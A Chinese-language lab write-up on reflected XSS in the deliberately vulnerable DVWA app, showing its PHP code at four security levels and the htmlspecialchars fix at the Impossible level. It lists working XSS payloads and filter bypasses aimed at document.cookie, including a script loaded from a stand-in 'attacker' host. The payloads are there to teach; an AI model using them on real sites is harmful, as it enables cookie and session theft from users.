DVWA之跨站脚本攻击漏洞测试01-反射型XSS
目录结构
一、XSS概述
1.XSS简介
2.XSS测试策略
二、反射型XSS概述
三、全等级反射型XSS漏洞测试
1. Level:Low
2. Level:Medium
3. Level:High
4. Level:Impossible
一、XSS概述
1.XSS简介
XSS:跨站脚本攻击(Cross Site Scripting),是一种注入型攻击,攻击者使用Web应用程序将恶意脚本发送到不同的用户终端,若应用程序没有对输入的脚本进行验证、过滤or编码等处理,且终端用户的浏览器无法识别脚本是否受信任时,受害者在不知情的情况下访问对应的页面,恶意代码会在其浏览器上执行,恶意脚本可以访问其保留在浏览器中的站点cookie、会话标记or其他敏感信息;这些脚本甚至可以重写HTML页的内容,从而产生XSS攻击。
XSS分为三种类型:反射型(Reflected)、存储型(Stored)、DOM型
2.XSS测试策略
在浏览器端探测XSS,属于黑盒测试类型,检测的大致阶段如下:
- 检查Web页面中可输入的位置。除了前端页面,还有前端代码中,所对应的隐藏or明显的输入位置。如:HTTP参数、POST data、隐藏的表单域(文本框、密码框、隐藏域、单选or复选框、下拉选择框)。通过前端源代码可查看到以上位置的存在。
- 分析每个输入位置,使用特别构造的数据,检测潜在的漏洞。通过预先构造的攻击字符串or敏感符号对Web程序进行模糊测试,根据返回的响应初步判断前后端对敏感字符的处理机制如何。
- 识别对Web程序有安全影响的XSS漏洞。根据响应数据和HTML代码,判断哪些位置没有对攻击字符or字符串进行过滤、转义、正确编码处理的防范,对这些弱防御的位置进一步攻击测试,检测确定安全漏洞。
PS:本文是对反射型XSS漏洞测试所对应的4个等级(Low、Medium、High、Impossible)进行分析,其余两种XSS类型将在后续文章中进行分析
二、反射型XSS概述
Reflected XSS:攻击负载是通过单个请求和响应进行交互和执行的,当用户在前端输入带有XSS性质的脚本作为HTTP请求的一部分发送给服务端,后端对收到的请求数据进行解析处理(字符串检测、转义...)之后返回给前端,前端浏览器将对该返回数据进行解析,若其中包含的恶意脚本可被浏览器解析并执行时,就会触发反射型XSS。
反射XSS攻击也称为非持久XSS攻击,反射型XSS脚本注入的攻击并不存储在应用程序中,而是存储在浏览器客户端,即非持久。只要不通过点击该特定url链接进行访问,就不会引起攻击。
攻击的常见操作方式:攻击者创建一个恶意的URI,通过各种方式(社工、引诱、or说服)诱导受害者在他们自己的浏览器上加载这个URI,并最终使用受害者的浏览器执行恶意代码,以此盗取受害者的cookie发送给攻击者。
当cookie信息未失效之前,利用cookie通常可实现免账户验证直接登录合法网站的用户后台,继而进一步操纵用户的后台权限。除了盗取cookie信息,还可能修改返回给用户的页面内容、修改下载链接等操作。
三、全等级反射型XSS漏洞测试
Objective: One way or another, steal the cookie of a logged in user.
测试目标:以一种or多种不同的方式,获取登录用户的cookie信息
1. Level:Low
low.php
服务端代码:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
Low级别的代码实现将前端输入框中输入的非空name字段值,以GET方式提交给服务端,服务端返回给客户端的数据中包含所输入的name值;过程中前后端并未对传递的数据进行合法性校验、敏感字符过滤等操作
漏洞测试
输入字符1
,提交后直接返回输入的内容,url中通过name参数传递
输入<script>
脚本字符串,直接在url中未作任何编码显示,斜杠/
在url中进行了编码处理,但服务端中返回的数据在浏览器中解析显示的html并没有任何过滤or限制
根据前端源代码中name表单输入所返回的html标签结构,构造与之匹配的攻击脚本进行测试。预先准备如下攻击脚本:
<script>alert(123)</script>
<script>javascript:alert(document.cookie);</script>
<input onfocus="javascript:alert(document.cookie)" />
<script src="http://attacker/xss.js">confirm(123)</script>
<img src="http://www.baidu.com" onmouseover=prompt(123) />
在Firefox浏览器中出现弹窗,可以获取到当前站点的cookie信息
(Chrome浏览器最新版的有自带的XSS控制策略,若要实现弹窗,可能需要先关闭XSS的限制)
2. Level:Medium
medium.php
服务端代码:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
?>
Medium级别的代码,利用str_replace()
函数实现对name输入值中查找字符串'<script>',并将其替换为空字符
漏洞测试
首先输入<script>alert(123)</script>
,提交后发现'<script>'已被过滤
可采用以下绕过方法:
1. 大小写绕过
构造脚本 <Script>alert(123)</script>
2. 双写绕过
构造脚本 <sc<script>ript>alert(123)</sc<script>ript>
3.避开被过滤的符号,转换脚本样式
构造脚本 <img src="http://www.baidu.com" onmouseover=prompt(document.cookie) />
构造脚本 <input onfocus="javascript:alert(document.cookie)" />
构造脚本 <form action="javascript:alert(document.cookie)"><input type=submit>
3. Level:High
high.php
服务端代码:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
?>
High级别的代码,利用preg_replace()
函数实现:对输入的name值进行搜索满足正则的字符(小于号<
开头,其后在'script'拆分的每个字符中穿插匹配任意长度的任意字符,不限大小写),将其替换为空字符
此时,以上方法中的大小写、双写的方式就会被转换成空字符而不能起作用;若采用避开所限制的字符的方法,依然是有效的
漏洞测试
输入 <Script>alert(123)</script>
此时,除了大于号>
,其他输入的符号都被转换为空字符了
输入<sc<script>ript>alert(123)</sc<script>ript>
的效果也同上
采取避开限制字符构造新脚本的策略:
构造脚本 <img src="http://www.baidu.com" onmouseover=prompt(document.cookie) />
4. Level:Impossible
impossible.php
服务端代码:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Impossible级别的代码,利用PHP函数htmlspecialchars()
实现将特殊字符(逻辑与符号&
、双引号"
、单引号'
、小于号<
、大于号>
)转换为 HTML 实体,从而使得浏览器不解析其作为html元素构造脚本来执行,只是作为普通输入的字符来显示。
同时,Impossible级别的代码中还加入了Token校验机制,将存储在服务端session中的session_token变量的值返回一份给浏览器端form表单中隐藏域hidden中的user_token变量来接收存放。
等下一次通过浏览器表单提交数据到服务端时就会一起带着上一次下发的user_token值与服务端存储的session_token值进行比对校验是否一致,两者一致时才会执行接收请求,此时服务端则会更新session_token值为新的随机数值,若再以上一次提交的完全相同的url和user_token向服务器发起请求则会被判定为是重复的提交而执行失败,可以有效防止表单重复多次提交,以及CSRF(跨站请求伪造)的攻击。
参考来源:
[1] 新手指南:DVWA-1.9全级别教程(完结篇,附实例)之XSS
[2] XSS分析及预防
[3] 安全技能学习笔记——反射型 XSS 、SQL 注入 (非盲注)
[4] PHP手册-字符串函数:htmlspecialchars
[5] WEB项目之 Token防止表单重复 anti csrf攻击
[6] html中隐藏域hidden的作用介绍及使用示例
[7] 防止表单重复提交token机制